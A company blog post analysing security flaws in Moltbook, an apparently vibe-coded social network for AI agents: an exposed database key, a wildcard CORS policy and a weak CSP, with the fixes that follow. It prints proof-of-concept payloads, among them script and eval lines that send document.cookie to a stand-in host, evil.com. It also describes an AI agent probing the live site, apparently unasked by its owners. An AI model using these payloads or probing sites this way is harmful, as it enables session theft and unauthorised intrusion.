Olymp Labs LogoOlymp Labs

About Us

Our mission and team

News

Latest company updates

Back to Newsroom
SecurityInsights

Moltbook: A vibe coding nightmare

Moltbook promised an AI revolution but delivered a security nightmare. Learn how 1.5 million agents and 17,000 users were compromised and why 'vibe code, but verify' must be your new engineering mantra.

February 04, 2026
7 min read
Adrian Mönke
Adrian Mönke
Co-Founder & Product Lead
Article featured image
Loading article...
  • What is Moltbook?
  • Why is it interesting for security?
  • The shocking discovery
  • Olymp Labs Investigation
  • Conclusion: Vibe Code, but Verify
Olymp Labs LogoOlymp Labs
ImprintPrivacy Policy

© 2026 Diamadis & Mönke Olymp Labs GbR

Made in Germany

What is Moltbook?

In the last week, the tech world has been captivated by Moltbook. Some even called it a precursor to Skynet. Others saw it as the future of agentic AI. Andrej Karpathy weighted in, calling it "genuinely the most incredible sci-fi takeoff-adjacent thing I have seen recently".

Moltbook is a social network exclusively for AI Agents where "users" were reportedly inventing their own private languages and infrastructure to communicate without human eyes.

Why is it interesting for security?

The founder of Moltbook admitted publicly, that he was vibe coding the entire platform. This is what caught the attention of Security Researchers world-wide.

At Wiz Security Researchers conducted a review of the platform and discovered a Supabase API key was exposed in the client-side JavaScript. They behaved like normal users clicking around. Within minutes they found the API key granting access to the entire production database - including read and write operations on all tables.

Modern web applications bundle configuration values into static javascript files, which can inadvertently expose sensitive credentials. This is a recurring pattern that can be observed in vibe coded applications. API keys and secrets frequently end up in frontend code, visible to anyone who knows the inspect button in chrome.

While the discovery of the credentials alone is not a security failure, as Supabase is designed to operate with certain keys exposed to the client, the real danger lies in the configuration of the backend they point to. When properly configured with Row Level Security (RLS), the public API Key is safe to expose - it acts like a project identifier. However without RLS policies, this key grants full database access to anyone with the key.

The shocking discovery

Moltbook claims to have over 1.5 million registered agents on their website. While this is true, it is also true, that they only have 17,000 human owners behind them - a ratio of 88:1. The "registration explosion" was largely a result of anyone being able to register millions of agents via a simple POST request.

Missing rate limits also allowed "crypto bros" to upvote their posts unlimited amounts of time (looking at you KingMolt).

Olymp Labs Investigation

With this backstory in mind, we decided to conduct our own research on Moltbook's security. We quickly setup an AI Agent to investigate the site. It took the Agent a stunning 3 minutes to identify a series of critical vulnerabilities that would make any CISO lose sleep.

Overly Permissive CORS Policy

Cross-Origin Resource Sharing (CORS) is a security mechanism that allows restricted resources on a web page to be requested from another domain. When properly configured, it prevents malicious sites from interacting with your API.

Moltbook's implementation, however, was a textbook example of "vibe coding" gone wrong. Our agent detected an access-control-allow-origin: * wildcard. This means the server was essentially telling the browser "I trust every single website on the internet to talk to my API with user credentials".

Request:

1
curl -svX POST \
2
-H "Origin: https://evil.com" \
3
-H "Authorization: Bearer moltbook_xxx" \
4
"https://www.moltbook.com/api/v1/posts"

Response:

1
200 OK
2
access-control-allow-origin: *

The agent tested multiple malicious Origins. All of them worked. It then crafted a Proof of Concept (PoC):

1
// This malicious snippet, hosted on ANY domain, could steal Moltbook user data:
2
fetch('https://www.moltbook.com/api/v1/agents/me', {
3
method: 'GET',
4
headers: {
5
'Authorization': 'Bearer stolen_token',
6
'Content-Type': 'application/json'
7
}
8
})
9
.then(response => response.json())
10
.then(data => console.log("Stolen user profile:", data));

This allows a malicious actor to steal user data, post on behalf of users without their consent and verify API Keys from any origin.

If you want to prevent this, our agent also gave remediation steps:

Change:

1
access-control-allow-origin: *

To:

1
access-control-allow-origin: https://www.moltbook.com
2
access-control-allow-methods: GET, POST, OPTIONS
3
access-control-allow-headers: Content-Type, Authorization, X-API-Key
4
access-control-allow-credentials: true
5
Access-Control-Max-Age: 86400

Weak Content Security Policy (CSP)

A CSP is your last line of defense against Cross-Site Scripting (XSS). Moltbook had a policy, but it was by far not perfect because it included unsafe-inline and unsafe-eval.

By allowing unsafe-inline, the site tells the browser that any script tag found in the HTML - even those injected by an attacker - should be executed. Combined with unsafe-eval, which allows the execution of strings as code, the platform was a playground for session hijacking and cookie theft.

Our Agent proposed some Proof-of-Concepts:

Inline Script XSS

1
<script>alert('XSS')</script>
2
<script>document.cookie</script>
3
<script>window.location = 'https://evil.com/steal?data=' + document.cookie</script>

This basically allows cookie theft, redirects and data exfiltration.

eval() Execution

1
eval("alert('XSS')");
2
eval("document.body.innerHTML = '<h1>Hacked!</h1>'");
3
eval("fetch('https://evil.com/steal', {body: document.cookie})");

This allows dynamic code execution and session hijacking.

Data URI Injection

1
<img src="data:text/html,<script>alert('XSS')</script>">
2
<script src="data:text/javascript,alert('XSS')"></script>

This allows the Bypassing of many CSP protections.

To remediate these problems, our Agent proposed the following Remediation Guide:

Step 1: Implement Nonce-Based CSP

1
function generateNonce() {
2
return Buffer.from(crypto.randomBytes(16)).toString('base64');
3
}
4
5
app.use((req, res, next) => {
6
const nonce = generateNonce();
7
res.set('Content-Security-Policy', '
8
default-src 'self';
9
script-src 'self' '${nonce}' 'strict-dynamic';
10
style-src 'self' '${nonce}';
11
img-src 'self' data: https: blob:;
12
connect-src 'self' https: wss:;
13
frame-ancestors 'none';
14
base-uri 'self';
15
form-action 'self';
16
');
17
next();
18
});

Step 2: Update HTML to Use Nonce

1
<!-- Before (vulnerable): -->
2
<script>alert('XSS')</script>
3
<!-- After (secure): -->
4
<script nonce="ABC123...">alert('Safe')</script>

Step 3: Add CSP Reporting

1
app.post('/csp-violation-report', express.json(), (req, res) => {
2
console.error('CSP Violation:', req.body);
3
res.status(204).send();
4
});

Missing Critical Security Headers

Perhaps the most telling sign of a vibe coded project is the total absence of standard security headers. Our audit showed, that 5/10 standard security headers are missing.

  • Cookie Security Header: Missing HttpOnly, Secure, and SameSite=Strict flags. This allows any rogue JavaScript to read your session cookies.
  • X-Forwarded-Host Verfication: No validation for X-Forwarded-Host, leading to potential host-header injection and phishing.
  • Browser API Absuse: No Permission-Policy to restrict access to a user's camera, microphone and geolocation.

Without these headers, an attacker does not even need a complex exploit. They can simply use a basic phishing site to execute a document.cookie command and take over any account that visits their link.

You can find more information on security-related HTTP headers here, for example: HTTP Security Response Headers Cheat Sheet

Conclusion: Vibe Code, but Verify

Moltbook is a fascinating experiment in the era of AI agents, but it serves as a strong reminder: speed is no excuse for insecurity.

Vibe coding is an incredible tool for prototyping, but production-ready code requires a set of secure-by-default standards that protect your users and your data. At Olymp Labs we are building the tools that provide this context in real-time, ensuring that your next "Skynet" remains a breakthrough, not a breach.

Want to secure your vibe coded projects? Join the Olymp Labs waitlist!